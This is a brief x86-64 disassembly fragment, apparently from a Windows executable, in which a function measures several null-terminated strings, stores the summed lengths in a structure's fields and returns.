cmp byte [r9 + rdx], 0
jne 0x1400dba30
add ecx, r8d
add edx, ecx
mov rcx, rax
mov dword [rdi + 0x28], edx
inc rcx
cmp byte [r10 + rcx], 0
jne 0x1400dba45
lea edx, [rsi + rbp]
sub edx, ecx
mov rcx, rax
inc rcx
cmp byte [rbx + rcx], 0
jne 0x1400dba57
add edx, ecx
inc rax
cmp byte [r9 + rax], 0
jne 0x1400dba62
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add edx, eax
mov rax, rdi
mov dword [rdi + 0x2c], edx
add rsp, 0x20
pop rdi
ret